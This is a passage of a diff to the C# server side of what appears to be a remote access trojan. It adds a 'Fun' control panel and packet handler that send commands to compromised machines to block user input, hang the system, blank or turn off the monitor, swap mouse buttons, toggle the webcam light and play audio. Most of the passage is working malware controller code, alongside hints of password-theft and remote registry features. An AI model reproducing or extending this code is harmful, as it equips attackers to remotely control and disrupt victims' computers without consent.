ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button8_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "swapMouseButtons";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button7_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "restoreMouseButtons";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button10_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "openCD+";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button9_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "openCD-";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button18_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "blankscreen+";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button17_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "blankscreen-";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button11_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "blockInput";
|
||||
msgpack.ForcePathObject("Time").AsString = numericUpDown1.Value.ToString();
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button15_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "holdMouse";
|
||||
msgpack.ForcePathObject("Time").AsString = numericUpDown2.Value.ToString();
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button12_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "monitorOff";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button14_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "hangSystem";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button13_Click(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
private void FormFun_FormClosed(object sender, FormClosedEventArgs e)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem((o) =>
|
||||
{
|
||||
Client?.Disconnected();
|
||||
});
|
||||
}
|
||||
|
||||
private void button19_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "webcamlight+";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button16_Click(object sender, EventArgs e)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "webcamlight-";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void button13_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
using (OpenFileDialog O = new OpenFileDialog())
|
||||
{
|
||||
O.Filter = "(*.wav)|*.wav";
|
||||
if (O.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
byte[] wavfile = File.ReadAllBytes(O.FileName);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Pac_ket").AsString = "playAudio";
|
||||
msgpack.ForcePathObject("wavfile").SetAsBytes(wavfile);
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
else
|
||||
{
|
||||
MessageBox.Show("Please choose a wav file.");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -619,6 +619,7 @@ namespace Server.Forms
|
|||
this.Name = "FormRegistryEditor";
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||
this.Text = "Registry Editor []";
|
||||
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRegistryEditor_FormClosed);
|
||||
this.Load += new System.EventHandler(this.FrmRegistryEditor_Load);
|
||||
this.tableLayoutPanel.ResumeLayout(false);
|
||||
this.tableLayoutPanel.PerformLayout();
|
||||
|
|
|
@ -784,5 +784,13 @@ namespace Server.Forms
|
|||
}
|
||||
catch { this.Close(); }
|
||||
}
|
||||
|
||||
private void FormRegistryEditor_FormClosed(object sender, FormClosedEventArgs e)
|
||||
{
|
||||
ThreadPool.QueueUserWorkItem((o) =>
|
||||
{
|
||||
Client?.Disconnected();
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -125,7 +125,7 @@
|
|||
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
|
||||
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
|
||||
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
|
||||
BwAAAk1TRnQBSQFMAwEBAAGAAQUBgAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
|
||||
BwAAAk1TRnQBSQFMAwEBAAGIAQUBiAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
|
||||
AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA
|
||||
AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA
|
||||
AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm
|
||||
|
@ -169,7 +169,7 @@
|
|||
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
|
||||
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
|
||||
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
|
||||
CQAAAk1TRnQBSQFMAgEBAgEAAaABBAGgAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
|
||||
CQAAAk1TRnQBSQFMAgEBAgEAAagBBAGoAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
|
||||
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
|
||||
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
|
||||
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
|
||||
|
|
|
@ -0,0 +1,30 @@
|
|||
using Server.Forms;
|
||||
using Server.MessagePack;
|
||||
using Server.Connection;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Server.Handle_Packet
|
||||
{
|
||||
public class HandleFun
|
||||
{
|
||||
public void Fun(Clients client, MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
FormFun fun = (FormFun)Application.OpenForms["fun:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
|
||||
if (fun != null)
|
||||
{
|
||||
if (fun.Client == null)
|
||||
{
|
||||
fun.Client = client;
|
||||
fun.timer1.Enabled = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -203,6 +203,12 @@ namespace Server.Handle_Packet
|
|||
new HandleRegManager().RegManager(client, unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "fun":
|
||||
{
|
||||
new HandleFun().Fun(client, unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
|
|
@ -137,6 +137,12 @@
|
|||
<Compile Include="Algorithm\GetHash.cs" />
|
||||
<Compile Include="Algorithm\Sha256.cs" />
|
||||
<Compile Include="Algorithm\Zip.cs" />
|
||||
<Compile Include="Forms\FormFun.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Forms\FormFun.Designer.cs">
|
||||
<DependentUpon>FormFun.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Forms\FormRegValueEditBinary.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
|
@ -282,6 +288,7 @@
|
|||
<DependentUpon>FormRegistryEditor.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Handle Packet\HandleAudio.cs" />
|
||||
<Compile Include="Handle Packet\HandleFun.cs" />
|
||||
<Compile Include="Handle Packet\HandlePassword.cs" />
|
||||
<Compile Include="Handle Packet\HandleInformation.cs" />
|
||||
<Compile Include="Handle Packet\HandleNetstat.cs" />
|
||||
|
@ -365,6 +372,9 @@
|
|||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
<EmbeddedResource Include="Forms\FormFun.resx">
|
||||
<DependentUpon>FormFun.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Forms\FormRegValueEditBinary.resx">
|
||||
<DependentUpon>FormRegValueEditBinary.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
|
|
Loading…
Reference in New Issue